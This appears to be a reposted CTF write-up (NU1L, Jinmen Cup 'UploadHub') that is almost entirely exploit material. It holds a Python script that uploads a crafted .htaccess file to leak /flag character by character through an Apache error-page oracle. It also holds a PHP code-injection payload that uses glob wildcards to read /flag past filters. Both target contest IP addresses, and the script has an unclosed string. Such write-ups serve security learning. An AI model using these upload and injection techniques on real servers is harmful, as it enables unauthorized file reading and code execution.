NU1L-wp学习-津门杯
作者:互联网
UploadHub
import requests
import string
import hashlib
ip = requests.get('http://118.24.185.108/ip.php').text
print(ip)
def check(a):
f = '''
<If "file('/flag')=~ /'''+a+'''/">
ErrorDocument 404 "wupco"
</If>
resp = requests.post("http://122.112.248.222:20003/index.php?id=167",
data={'submit': 'submit'}, files={'file': ('.htaccess',f)} )
a = requests.get("http://122.112.248.222:20003/upload/"+ip+"/a").text
if "wupco" not in a:
return False
else:
return True
flag = "flag{BN"
c = string.ascii_letters + string.digits + "\{\}"
for j in range(32):
for i in c:
print("checking: "+ flag+i)
if check(flag+i):
flag = flag+i
print(flag)
break
else:
continue
payload
http://122.112.214.101:20004/?code=?><?=
/???/???%20/????;
标签:http,津门,ip,NU1L,flag,wp,print,requests,string 来源: https://www.cnblogs.com/murkuo/p/14853636.html